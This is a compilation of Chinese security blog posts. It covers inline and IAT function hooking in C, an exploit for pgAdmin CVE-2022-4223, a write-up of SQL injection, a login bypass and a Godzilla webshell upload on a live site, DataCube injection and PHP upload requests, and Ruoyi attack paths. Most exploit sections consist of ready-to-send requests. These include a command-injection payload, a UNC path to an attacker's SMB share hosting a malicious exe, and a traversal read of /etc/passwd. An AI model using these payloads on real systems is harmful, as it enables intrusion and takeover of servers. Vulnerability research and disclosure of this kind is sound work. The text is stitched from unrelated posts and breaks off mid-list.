浅谈内联钩取原理与实现
前言
导入地址表钩取的方法容易实现但是存在缺陷,若需要钩取的函数不存在导入地址表中,那么我们就无法进行钩取,出现以下几种情况时,导入函数是不会存储在导入地址表中的。
延迟加载:当导入函数还没调用时,导入函数还未写入到导入地址表中。
动态链接:使用LoadLibrary与GetProcAddress函数时,程序是显示获取函数地址的,因此不会写入到导入地址表中。
手动解析导入函数:即程序自身实现一套导入方法,那么此时也不会将导入函数写入到导入地址表中。
有一种钩取方法解决上述问题即内联钩取(inline hook)。
内联钩取(inline hook)
内联钩取实际是找到需要钩取的函数地址,这里与导入地址表钩取不同的是我们不再局限于导入地址表,而是程序中所有的函数地址都能够作为钩取的对象。
这里以CreateProcessW函数为例,在CreateProcessW函数中,第一条指令是mov edi,edi
那么根据钩取的思路,我们将mov edi,edi这条指令修改为jmp xxx(xxx为我们自定义函数的地址),那么在执行CreateaProcessW函数时即可跳转到我们的自定义函数中。
我们获取mov edi,edi指令的地址,并且将该指令篡改为jmp指令,并且把mov edi,edi指令的数据进行存储,那么在执行到CreateProcessW函数时就会执行jmp指令跳转到自定义函数中,在钩取操作时需要将指令写回,还原CreateProcessW函数的执行逻辑,就可以在钩取的同时无碍的执行程序。
那么总结一下内联钩取函数的流程
找到需要钩取的函数的指令地址,这个指令并不仅限于函数起始的指令。
将该指令篡改成跳转指令,跳转的目的就是自定义的函数。
在自定义函数内需要还原被钩取函数的指令。
因此内联钩取的实际就是修改程序执行逻辑,劫持程序的执行流程。由于32位程序与64位程序的汇编语言与寻址方式有些许差异,因此不同机器位数的程序的内联钩取方式不同。
机器码的获取
由于在篡改内存时需要将jmp xxx的机器码填写到内存中,因此做内联钩取时需要获取指令对应的机器码。在C语言中支持内联汇编,因此可以使用内联汇编然后查看对应的机器码即可。
但是直接使用visual studio编译64位程序的内联汇编代码会出错,这是因为visual studio自带的编译工具不支持x64的内联汇编。
因此需要先安装clang编译器
在项目的编译工具选择clang即可
在反汇编窗口中就有机器码了。
32位的内联钩取
首先第一步是确定在32位程序下是如何进行跳转的,在32位情况使用跳转指令是根据偏移获取目的地址,偏移的计算公式如下
跳转偏移 = 跳转目的地址 - 当前指令地址 - 指令长度
因此jmp xxx中,xxx是偏移值而不是目的函数的绝对地址。
紧接着需要确定在32位下跳转指令的机器码是多少,用下面例子看看
void MyCreateProcess()
{
}
int main()
{
__asm {
jmp MyCreateProcess;
};
}
可以看到对应的机器码为E9 EB FF FF FF
可以看到目标函数的地址为0xA71000,使用上述公式计算一下偏移为0xA71000 - 0x0A71010 - 5 = 0xffffffeb,因此E9为jmp的机器码
因此需要将待钩取函数的第一条指令修改为E9 XX XX XX XX XX,长度为5个字节
然后选择一个目标函数,这里还是使用CreateProcessW函数作为例子,需要先获取CreateProcessW函数的地址
...
hMoudle = GetModuleHandleA(szDllName); //获取Kernel32.dll模块的地址
if (hMoudle == NULL)
{
GetLastError();
}
pfnOld = GetProcAddress(hMoudle, funName);//获取CreateProcessW函数地址
if (pfnOld == NULL)
{
GetLastError();
}
...
然后需要保存原始指令,然后修改区域为可写权限,紧接着计算一下偏移把完整的指令写进到待钩取函数即可。
...
//修改权限
VirtualProtect(pfnOld, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
//存储原始的5个字节
memcpy(pOrgBytes, pfnOld, 5);
//计算需要跳转到的地址
//跳转偏移 = 跳转目的地址 - 当前指令地址 - 指令长度
dwAddress = (ULONGLONG)pfnNew - (ULONGLONG)pfnOld - 5;
//将目标函数的地址写入到指令中
memcpy(&pBuf[1], &dwAddress, 4);
//篡改为跳转指令
memcpy(pfnOld, pBuf, 5);
//还原权限
VirtualProtect(pfnOld, 5, dwOldProtect, &dwOldProtect);
...
64位的内联钩取
64位下的规则会与32位有差异,但是总体思路是一致的。在32位下我们采用了偏移的方式找到目标函数,在64位下可以换种方式,采用mov rax, xxx; jmp rax,将函数的绝对地址写入寄存器,然后跳转到指定寄存器的方式。
如下例子,我们首先获取自定义函数的绝对地址,紧接着将它存放于寄存器中,紧接着跳转即可。
int main()
{
__asm {
mov rax, 0x1122334455667788;
jmp rax;
};
}
可以看到mov rax, xxx; jmp rax指令的机器码为48 B8 xx xx xx xx xx xx xx xx FF E0,其中由于64位地址都是8字节的,因此需要xx需要填充8字节
因此总体代码与32位区别不大,这里需要注意的是篡改的指令长度需要根据实际进行更改。
/*
* 48 B8 88 77 66 55 44 33 22 11 mov rax, 0x1122334455667788
* FF E0 jmp rax
* 需要12个字节进行跳转
*/
//修改区域权限
VirtualProtect((LPVOID)pfnOrg, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);
//保存原有的12字节数据
memcpy(pOrgBytes, pfnOrg, 12);
//将HOOK函数的地址填进缓冲区
//将目标地址拷贝到指令中
memcpy(&pBuf[2], &pfnNew, 8);
//篡改待钩取函数
memcpy(pfnOrg, pBuf, 12);
//恢复权限
VirtualProtect((LPVOID)pfnOrg, 12, dwOldProtect, &dwOldProtect);
因此任意可以修改函数执行流程的汇编指令实际都可以例如push xxx; ret。
完整代码可以参考:
https://github.com/h0pe-ay/HookTechnology/tree/main/Hook-InlineHook总结
优势
内联钩取相较于导入表钩取的选择性更广,可以选择任意的函数及函数内的任意指令地址。
劣势
每次都需要脱钩后再进行挂钩,影响效率
多线程写入时可能会出错
pgAdmin未授权命令执行漏洞(CVE-2022-4223)
https://ftp.postgresql.org/pub/pgadmin/pgadmin4/v5.7/source/pgadmin4-5.7.tar.gz 下载 pgadmin5.7 的源码
首先从代码层面进行分析
接口 /validate_binary_path 最后调用了 subprocess.getoutput( 来执行了命令
这一部分代码是对传入的路径进行检测,如果是在 linux 下直接拼接,在windows 下部署,后缀中会添加 .exe 。同时 windows下恶意的exe文件必须是下面几个文件名之一 'pg_dump', 'pg_dumpall', 'pg_restore', 'psql'
linux
可以从 docker hub 上搜索 docker 资源 https://hub.docker.com/search?q=pgadmin
docker pull dpage/pgadmin4:6.16
docker run -e 'PGADMIN_DEFAULT_EMAIL=test@example.com' -e 'PGADMIN_DEFAULT_PASSWORD=123456' -p 5050:80 --name pgadmin -d docker.io/dpage/pgadmin4:6.16
直接构造发送会提示 The CSRF token is missing.
所以我们先请求路由 login
POST /misc/validate_binary_path HTTP/1.1
Host: 127.0.0.1:5050
Upgrade-Insecure-Requests: 1
X-pgA-CSRFToken:ImI1OWE1NjQ3ZDZlYjBkYzFmMjgzYzE3MTEyMGRiZTA0MWYwM2YwMjgi.ZhUBBQ.S3V3X0JmCbEcwcpWZkf1TVYVRS4
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PGADMIN_LANGUAGE=en;pga4_session=bada494b-009f-4c04-bded-20497c5dcf74!pMVxVlI925/AqyV9Oq0RqiPecdo0fWg2hWYHxGDEpYc=;
Connection: close
Content-Type: application/json
Content-Length: 33
{"utility_path":"a\";ifconfig;#"}
import os
binary_path = "a\";ifconfig;#"
UTILITIES_ARRAY = ['pg_dump', 'pg_dumpall', 'pg_restore', 'psql']
for utility in UTILITIES_ARRAY:
full_path = os.path.abspath(
os.path.join(binary_path, (utility if os.name != 'nt' else (utility + '.exe')))
)
print(full_path)
我们简化代码在linux 下执行,最后利用; 分割执行命令
windows
下载软件并进行安装 https://ftp.postgresql.org/pub/pgadmin/pgadmin4/v5.7/windows/pgadmin4-5.7-x64.exe
我们发现同样在 windows 下拼接时是无法利用; 分割执行命令,但是可以通过 UNC path指定攻击者的恶意文件
import os
binary_path = "\\\\192.168.222.1\\TMP\\"
UTILITIES_ARRAY = ['pg_dump', 'pg_dumpall', 'pg_restore', 'psql']
for utility in UTILITIES_ARRAY:
full_path = os.path.abspath(
os.path.join(binary_path, (utility if os.name != 'nt' else (utility + '.exe')))
)
print(full_path)
我们发现通过构造传入参数,我们可以伪造共享地址
windows 下的环境始终无法启动 web 界面,因为环境实在太老了,启动 C:\Users\username\AppData\Local\Programs\pgAdmin 4\v5\web\setup.py 各种版本问题,一直没办法启动成功,所以只做理论上的验证
后来我发现安装完成之后,会在界面下提供一个python目录,所以直接选择该python 来启动项目,需要把C:\Users\username\AppData\Local\Programs\pgAdmin 4\v5\web 下的config.py 修改 DEFAULT_SERVER \= '0.0.0.0'
使用impacket提供的smbserver.py脚本构造恶意的smb服务 smbserver.py TMP /tmp
编译恶意的exe文件并放到对应目录
pip install pyinstaller
type execute_calc.py
import subprocess
def execute_calc():
subprocess.call("calc.exe")
if __name__ == "__main__":
execute_calc()
pyinstaller --onefile execute_calc.py
POST /misc/validate_binary_path HTTP/1.1
Host: 192.168.222.145:5050
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-pgA-CSRFToken: Ijg5MDJjOGQ2YmVlNTA1NDMwZjFmODA1ZWNjYTIyNzg5MjExM2EzNDci.Zi3CIg.9u2mEcj30C2tPX0soO3L7tJrp5w
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: pga4_session=9cd07409-7aca-46c3-8635-e615a7fcd4ac!lthUHprxGzxRdWMWfPm1VLDOLpk=;
Connection: close
Content-Type: application/json
Content-Length: 45
{"utility_path":"\\\\192.168.222.128\\TMP\\"}
导入地址表钩取技术解析
前置知识
导入表
在一个可执行文件需要用到其余DLL文件中的函数时,就需要用到导入表,用于记录需要引用的函数。例如我们编写的可执行文件需要用到CreateProcess函数,就需要用到kernel32.dll文件并且将其中的CreateProcess函数的信息导入到我们的可执行文件中,然后再调用。
为了管理这些导入函数,就构建了一个导入表进行统一的管理,简单来说,当我们编写的可执行文件中使用到导入函数就会去导入表中去搜索找到指定的导入函数,获取该导入函数的地址并调用。
因此加载器再调用导入函数之前需要先找到导入表的所在处。在可执行文件映射到内存空间是,都是以Dos Header开始的,在该头部存在elfanew的字段,用于记录PE文件头的偏移,在PE文件头存在可选头的结构体,该结构体中存储数据目录项,其中就包括了导入表。因此在内存中我们需要通过Dos Header -> Nt Header -> Option Header -> Import Table的顺序获取导入表。
这里使用《加密与解密》的图来看一下导入表的结构体,如下图。
可以看到导入表涉及的变量非常多,这里重点关注OriginalFirstThunk、FistThunk以及Name
Name:指向导入库的名称。
OriginalFistThunk:指向输入名称表,里面存储了导入函数的信息。
FirstThunk:指向输入地址表,可以看到在初始化的时候OriginalFistThunk与FirstThunk指向的是同一块区域,即导入函数的信息。
输入名称表的结构体如下图,这里重点关注Ordinal与AddressOfData
Ordinal:记录函数的序号,即导入函数以序号存储
AdressOfData:以函数命的形式记录导入函数
那么INT与IAT的区别在于,加载器会在从导入表中获取了导入函数名称后,会搜索该函数的名称并获取该函数的地址并填入到IAT中,因此在经历了加载器后,IAT中存储了实际地址。如下图。
导入地址表钩取技术
输入地址表钩取技术就是通过修改输入地址表的地址值,因此当调用该导入函数时会跳转到被篡改的地址上。
在钩取之前的状态如下图
在钩取之后的状态如下图
因此总结一下输入地址表钩取技术的流程
确定需要钩取的导入函数
获取输入地址表的地址
在输入地址表中搜索需要钩取的导入函数地址并且将导入函数地址修改为自定义的函数
在处理完之后需要在自定义函数中重新调用被钩取的函数
确定需要钩取的导入函数
首先确定可执行文件中存在什么导入函数,可以发现目标的可执行文件中导入了kernel32.dll的系统库,并且导入的CreateProcessW
那么采用输入地址表钩取方法钩取CreateProcessW函数。
获取导入地址表的地址
根据DOS Header -> Nt Header -> Option Header ->Import Table的顺序进行搜索,即可获取导入地址表的地址。
代码如下
...
//获取当前进程的基地址
hMod = GetModuleHandle(NULL);
pBase = (PBYTE)hMod;
//进程的基地址是从DOS头开始的
pImageDosHeader = (PIMAGE_DOS_HEADER)hMod;
//通过e_lfanew变量获取NT头的偏移,然后加上基地址及NT头的位置
pImageNtHeaders = (PIMAGE_NT_HEADERS)(pBase + pImageDosHeader->e_lfanew);
//数据目录项下标为1的项是导入表
pImageImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(pImageNtHeaders->OptionalHeader.DataDirectory[1].VirtualAddress + pBase)
...
获取导入函数地址并修改
在获取导入地址表的地址后,首先通过遍历导入表的结构体,提取其中的Name字段,判断是否为我们需要钩取的导入库名。在匹配完成后则选择继续遍历IAT中的函数地址,找到需要钩取的函数地址,找到后则修改为自定义函数的地址。
代码如下
...
//遍历导入表项
for (; pImageImportDescriptor->Name; pImageImportDescriptor++)
{
//获取导入库的名称
szLibName = (LPCSTR)(pImageImportDescriptor->Name + pBase);
//比较导入库的名称,判断是否为kernel32.dll
if (!_stricmp(szLibName, szDllName))
{
//获取IAT
PIMAGE_THUNK_DATA pImageThunkData = (PIMAGE_THUNK_DATA)(pImageImportDescriptor->FirstThunk + pBase);
//获取导入函数地址
for (; pImageThunkData->u1.Function; pImageThunkData++)
{
//判断函数地址是否是需要钩取的函数地址,这里需要注意的是64位与32位地址的区别
if (pImageThunkData->u1.Function == (ULONGLONG)pfnOrg)
{
//修改IAT的权限为可写
VirtualProtect(&pImageThunkData->u1.Function, 4, PAGE_EXECUTE_READWRITE, &dwOldProtect);
//将原始的地址修改为自定义函数地址
pImageThunkData->u1.Function = (ULONGLONG)pfnNew;
//将权限恢复
VirtualProtect(&pImageThunkData->u1.Function, 4, dwOldProtect, &dwOldProtect);
return TRUE;
}
}
}
...
在自定义函数中重新调用被钩取的函数
这里需要注意的是,我们需要构建一个自定函数,该函数的返回类型与参数需要与钩取的函数一模一样,这样我们就可以获取所有参数的信息,然后篡改后重新传递给原始的导入函数,即可完成钩取。
代码如下,这里篡改原始CreateaProcessW函数的第一个参数,使计算器
...
LPCWSTR applicationName = L"C:\\Windows\\System32\\calc.exe";
return ((LPFN_CreateProcessW)g_pOrgFunc)(applicationName,
lpCommandLine,
lpProcessAttributes,
lpThreadAttributes,
bInheritHandles,
dwCreationFlags,
lpEnvironment,
lpCurrentDirectory,
lpStartupInfo,
lpProcessInformation);
...
完整代码:https://github.com/h0pe-ay/HookTechnology/blob/main/Hook-IAT/iat.cpp
调试
刚开始使用的是xdbg调试,但是用的不太习惯,后面改用WinDbg还可以源码调试,这里记录一下需要用到的操作与指令。
符号表与源码加载
在设置中可以选择源码默认的目录以及符号表默认的目录,符号文件则是利用Visutal Studio编译生成的pdb文件。
其中srv*c:\Symbols*https://msdl.microsoft.com/download/symbols是下载官方的符号表文件,这里可以选择删掉只调试我们设置的文件。不然每次都需要下载一遍影响时间。
源码文件也可以在侧边栏选择Open source file选项打开。
DLL加载调试
由于钩取时需要先使用DLL注入技术将自定义的DLL文件注入进去,因此想要调试钩取过程则需要在DLL附着的时候打下断点。
利用sxe ld:xxx.dll即可在加载xxx.dll的时候打下断点。
利用sxe ud:xxx.dll即在卸载xxx.dll的时候打下断点。
关闭优化调试
防止自定义函数中的变量被优化导致不方便单步调试,在Visual Studio中可以选择关闭优化进行编译。
记一次“有手就行”的从SQL注入到文件上传Getshell的简单过程
0x01 前台SQL注入
漏洞原理
SQL 注入漏洞的原理是应用程序没有对用户输入进行充分的验证和过滤,导致攻击者可以在输入框中插入恶意的 SQL 代码。当应用程序将用户输入的数据拼接到 SQL 查询语句中时,攻击者插入的恶意代码也会被执行,从而绕过身份验证和访问控制,直接访问或修改数据库中的数据。
1、查找注入点。
如果要对一个网站进行SQL注入攻击,首先就需要找到存在SQL注入漏洞的地方,也就是寻找所谓的注入点。可能的SQL注入点一般存在于登录页面、查找页面或添加页面等用户可以查找或修改数据的地方。
交互点一般是搜索栏、留言版、登入/注册页面、以及最利于观察的搜索栏的地址如果类似于http//xxxxxx/index.phpid=1这种很大程度存在注入当然有些注入点不会这么一眼看出会有些比较复杂例如http://xxxxxx/index.phpx=home&c=View&a=index&aid=9&&& 这样的地址其实也可能存在注入。
如果应用程序未对用户输入进行充分的验证和过滤,就容易受到 SQL [注入攻击]
根据如上所述先去查看和数据库有交互点的地方,一般先去找搜索框,特别是这种可以查询年份和编号的地方,和用户数据交互的可能性最大。
使用Wappalyzer简单看一下网站的框架和使用的语言
经过查看找到一处与数据库有数据交互的搜索编号的搜索框
可以直接输入一个单引号看看有没有报错,sql注入加单引号的原因是为了让sql语句发生错误,从而得知其有没有过滤措施
芜湖,直接爆SQL语句错误。。。
返回前面的搜索框输入' and sleep(10)#
还是直接报错,没什么waf防护拦截。
既然你这么脆弱,我就不客气了,直接丢sqlmap一把梭。。。。。
2、测试
在搜索框随便输入一个简单的数据,使用yakit工具拦截等一下点击搜索发送的数据包。
拦截的数据包:
注入点在mz17Condition.searchCaseId=这个参数,在这个参数后面加上*号,让等一下使用sqlmap工具测试的时候直接测试这个测试,要不然会从头开始每一个参数都会测试,浪费时间,把数据包复制到txt文件里面。
使用sqlmap工具测试txt文件里面的数据sqlmap命令:
--random-agent 随机使用HTTP用户代理头。
--level 分为1-5,默认为1,检查cookie至少为2,检查User-Agent等级至少为3,5级包含的payload最多,会自动破解出Cookie、XFF等头部注入,对应的速度也会比较慢。
--risk 等级为0-3,默认为1,会检测大部分的测试语句,等级为2时会增加基于事件的测试语句,等级为3会增加or语句的SQL注入测试
sqlmap.py -r .\9.txt --random-agent --level 5 --risk 3
果然直接跑出来了,注入类型有布尔和报错,后端还是IBM DB2数据库,第一次遇见。。。。
话不多说直接跑库,看看可以获取到后台的密码sqlmap.py -r .\9.txt --random-agent --level 5 --risk 3 --dbs
只跑出了一个库,看提示,感觉是当前注入的用户权限不够大sqlmap.py -r .\9.txt --random-agent --level 5 --risk 3 --is-dba
后面跑了一下爆出来的数据库,里面没啥有用的信息。。。。拿不了shell继续测试别的地方
0x02 万能密码后台登录
前面的前台SQL注入没什么大用拿不了shell以后,继续测试别的漏洞,前台基本没什么东西,看向后台。
1、测试
使用dirsearch工具扫描网站目录,扫描出网站后台。
访问后台url
按照惯例后台登录必试弱口令admin/123456、admin/12345、admin/admin、admin/admin888、system/123456。。。。都试了一遍没成功,看见没验证码又不限制登录错误次数,直接去跑字典,结果。。。。没爆出来。。。。
看向用户注册,鼓捣了一阵子发现根本就是摆设,填写信息点击注册没反应,抓包查看发现根本没有数据包发送出去,鸡肋。。。。
在一筹莫展的时候,突然想到前台有SQL注入漏洞,后台会不会也有呢。。。。
原理
万能密码利用的原理就是在后台登陆页面没有对用户输入的内容进行验证,此时程序所用用户输入的数据都合法的,所以这个时候无论是合法的管理员还是非法的入侵者所输入的数据都是被信任的,非法入侵者正是利用这一特点来进行非法登录的。
当我们在这些语句中添加一些参数时,就可以去数据库中查询账号和密码。
添加参数后,语句差不多是这样:
select * from user where username='a' or true #' and password='pass'
其中,#在SQL中是注释符,注释符后面的内容不起作用。
所以,实际上后台得到的有效代码是这样的:
select * from user where username='a' or true
其中or true 会使SQL语句恒成立,从而查询出数据库中的所有账号和密码,从而使我们成功登录。
除了 # 以外, -- 也是SQL中的注释符,但SQL的语法格式规定--和后面的注释内容必须间隔一个空格。
所以拼接到语句中大概是这样的:
select * from user where username='a' or true -- a' and password='pass'
也就是说:a' or true -- a经过SQL的转化后,结果等价于 a’ or true #。
SQL中规定,非布尔类型的数据参与比较运算时,会转化为布尔类型再参与运算。比如 or 1 或者 or 1=1 ,会转化为布尔类型的 true 再参与 or 的比较运算,也就是变成 or true ,同样能使条件恒成立,从而登录成功
简单来讲就是:a' or 1 # 或者 a' or 1=1 # 等价于 a' or true #。
当我们在登录界面输入 【万能密码】 比如 admin’ # 以后,后端会将我们输入的参数拼接到SQL中,大概是下面这样
select * from user where username='admin' #' and password='pass'
由于 # 在SQL中是注释符,注释符后面的内容不起作用,所以真正执行的SQL大概是下面这样
select * from user where username='admin'
SQL只会在数据库中查询用户名,而不是同时查询用户名和密码,这就意味着,只要用户名正确,就可以登录成功。
继续测试
使用万能密码继续测试admin' or 1=1--+
点击登录以后会跳转到这错误页面,好像有戏!
更换一个万能密码payload:admin' or 1=1#
芜湖报错!!!根据报错提示尝试闭合
尝试万能密码闭合能不能直接进入后台,使用自己收藏的万能密码txt去Fuzz用户名
抓取输入登录框用户名的数据包
这里使用burp suite工具继续爆破
加入自己收集的万能密码payload,进行测试
芜湖302跳转了应该是成功了使用payload测试看看
最终构造万能密码payload:admin' or '2'='2#
进入后台!!!,登录的用户为管理员用户!!!
0x03 后台getshell
1、测试
进了后台而且还是管理员的账号,就好办了,查找上传点,结果一番点点点、看看看,在网站信息维护找到上传点。
点击添加
填写好状态编号和数量
设置主页新闻图片的位置选择文件
设置一张图片码
使用Webshell_Generate生成哥斯拉jsp的webshell
生成名为ceshijsp.jpg的哥斯拉码
选择这个cheshijsp.jpg的图片
使用burp suite工具拦截点击确定时候发送的数据包,把后缀为jpg改为jsp
修改后缀为jpg以后,发送修改好的数据包,取消拦截。
因为发送出去的数据包试没有回显回来上传webshell jsp码的地址,访问首页,新闻动态的第一张图片就是刚刚上传的jsp码,右键打开新的标签可以看到完整的图片地址。
得到webshell地址
使用哥斯连接
root最高权限!!!
0x04 总结
要多做尝试不要气馁。。。。
DataCube 漏洞小结
在这里分享一下通过拖取 DataCube 代码审计后发现的一些漏洞,包括前台的文件上传,信息泄露出账号密码,后台的文件上传。当然还有部分 SQL 注入漏洞,因为 DataCube 采用的是 SQLite 的数据库,所以SQL 注入相对来说显得就很鸡肋。当然可能还有没有发现的漏洞,可以互相讨论。
phpinfo 泄露
SQL注入
无回显的SQL注入
/DataCube/www/admin/setting_schedule.php
SQLite 没有sleep()函数,但是可以用 randomblob(N) 来制造延时。randomblob(N)函数是SQLite数据库中的一个常用函数,它的作用是生成一个指定长度的随机二进制字符串。
正常请求时间
POST /admin/setting_schedule.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Connection: close
datetime=2024-04-24+02%3A00'+or+randomblob(9000000000000000000000000)+and+'1&tbl_type=fs&delete=1
延时响应
判断对应的 SQLite 的版本号
POST /admin/setting_schedule.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
datetime=-1'or+(case+when(substr(sqlite_version(),1,1)<'4')+then+randomblob(900000000000000000000000000)+else+0+end)+and+'1&tbl_type=fs&delete=1
可以判断出SQLite的版本是3
有回显的SQL注入
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
req_id=1) UNION ALL SELECT sqlite_version(),NULL,NULL--
查询出 sqlite 的版本号
www\admin\pr_monitor\getting_index_data.php
www\admin\pr_monitor\getting_screen_data.php#getData
www\admin\pr_monitor\getting_screen_data.php#getMonitorItemList
信息泄露
www\admin\config_all.php
将从 SQLite3 数据库中获取的数据转换为一个 JSON 字符串,并输出在页面上
任意文件上传
www\admin\transceiver_schedule.php
POST /admin/transceiver_schedule.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryb8tU2iptV70lGozq
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryb8tU2iptV70lGozq
Content-Disposition: form-data; name="upload_file"; filename="test1.php"
Content-Type: application/octet-stream
<?php phpinfo(); ?>
------WebKitFormBoundaryb8tU2iptV70lGozq
Content-Disposition: form-data; name="usb_schedule"
1
------WebKitFormBoundaryb8tU2iptV70lGozq--
后台任意文件上传
www\admin\setting_photo.php
www\admin\setting_photo.php#insertPhoto
www\admin\images.php
登录后获取参数 accesstime 的值
将值替换到数据包中
POST /admin/setting_photo.php HTTP/1.1
Content-Length: 414
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydzDlRcTHEmG3mohY
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundarydzDlRcTHEmG3mohY
Content-Disposition: form-data; name="add"
1
------WebKitFormBoundarydzDlRcTHEmG3mohY
Content-Disposition: form-data; name="addPhoto"; filename="test.php"
Content-Type: image/jpeg
<?php phpinfo(); ?>
------WebKitFormBoundarydzDlRcTHEmG3mohY
Content-Disposition: form-data; name="accesstime"
0.05027100 1713945976
------WebKitFormBoundarydzDlRcTHEmG3mohY--
成功将文件上传到 /images/slideshow/ 目录下
尚未解决的后台SQL注入
类似的注入有很多,但是每一次都进行了 accesstime 的校验,所以需要不停的从页面上获取,这里仅从一处来进行探讨
www\admin\config_time_sync.php
www\admin\Util.class.php#TblConfUpdate
我们很明显的可以看到这里的SQL 语句是我们可控的
首先请求页面 /admin/config_time_sync.php 来获取一个 accesstime 值
再构造请求进行发包
我们将执行的 SQL 语句打印出来
BEGIN EXCLUSIVE;delete from tbl_conf where key = 'ntp.enable';insert into tbl_conf values('ntp.enable', 'true');select randomblob(999900000000000000000000000);select ('1');COMMIT;BEGIN EXCLUSIVE;delete from tbl_conf where key = 'ntp.server';insert into tbl_conf values('ntp.server', 're-ene.energia.c
这里很奇怪,已经完美的闭合并提示执行成功,却没有执行这条语句,有明白的大佬可以一起讨论一下。
记录一次cnvd事件型证书漏洞挖掘
事件起因是因为要搞毕设了,在为这个苦恼,突然负责毕设的老师说得到cnvd下发的证书结合你的漏洞挖掘的过程是可以当成毕设的,当时又学习了一段时间的web渗透方面的知识,于是踏上了废寝忘食的cnvd证书漏洞挖掘的日子。
前言:听群友们说,一般可以获得cnvd事件型的证书要三大运营商、铁塔的漏洞,而且必须要高危的漏洞才可以获得证书,低危和中危都没有证书,交上去只能得到cnvd的漏洞编号,于是就朝着三大运营商、铁塔的高危漏洞去挖掘。
一、信息收集
信息收集的目的是了解目标的基本情况,包括网络拓扑结构、系统架构、运行的服务和应用程序、已知漏洞、潜在安全风险等。通过信息收集,渗透测试人员可以获得对目标的深入了解,从而确定可能的攻击矢量和漏洞利用路径,为后续的渗透测试工作做准备。
1、我一般先用奇安信的鹰图平台,使用里面搜索引擎的特定的语法搜索我要找的单位名或者关键字,精准定位。
鹰图平台:https://hunter.qianxin.com/
经过一段时间的换各种关键字的搜索,终于发现了一个看着系统界面比较眼熟的界面,原谅我的厚码。。。
看着大概率是若依框架。
确定为vue前后端分离的若依管理系统。
二、历史漏洞分析
确定了这个系统是基于SpringBoot,Spring Security,JWT,Vue & Element 的前后端分离权限管理系统。
这是我第一次挖掘关于若依vue框架的系统,以前遇到的都是基于SpringBoot的权限管理系统,核心技术采用Spring、MyBatis、Shiro。
让我们先来看看若依的历史漏洞和解析:若依框架是一个 Java EE 企业级快速开发平台,基于经典技术组合(Spring Boot、Apache Shiro、MyBatis、Thymeleaf、Bootstrap),内置模块如:部门管理、角色用户、菜单及按钮授权、数据权限、系统参数、日志管理、通知公告等。在线定时任务配置;支持集群,支持多数据源,支持分布式事务。若依框架漏洞默认口令漏洞早期若依框架漏洞版本有反序列化漏洞 ,执行任意命令。
若依后台管理系统是基于SpringBoot、Spring Security、JWT、Vue & Element 的前后端分离权限管理系统,可用于包含网站管理后台、网站会员中心、CMS、CRM、OA等、的Web应用程序。若依后台管理系统存在未授权访问和文件上传高危漏洞,攻击者可利用该漏洞获取服务器控制权。
比较常见的历史漏洞:
1、前端存储账号密码或默认弱口令admin/admin123
2、Druid页面未授权访问
http://xxx//prod-api/druid/index.htmlhttp://xxx//dev-api/druid/index.htmlhttp://xxx//api/druid/index.htmlhttp://xxx//admin/druid/index.htmlhttp://xxx//admin-api/druid/index.html3、后台任意文件读取http://xxx/common/download/resource?resource/profile/…/…/…/…/etc/passwd
4、后台SQL注入漏洞位置在"系统管理"里中的"角色管理中"http://xxxxxxx/system/role/listhttp://xxxxxxx/system/dept/edithttp://xxxxxxx/system/role/exporthttp://xxxxxxx/tool/gen/createTable
5、shiro反序列化
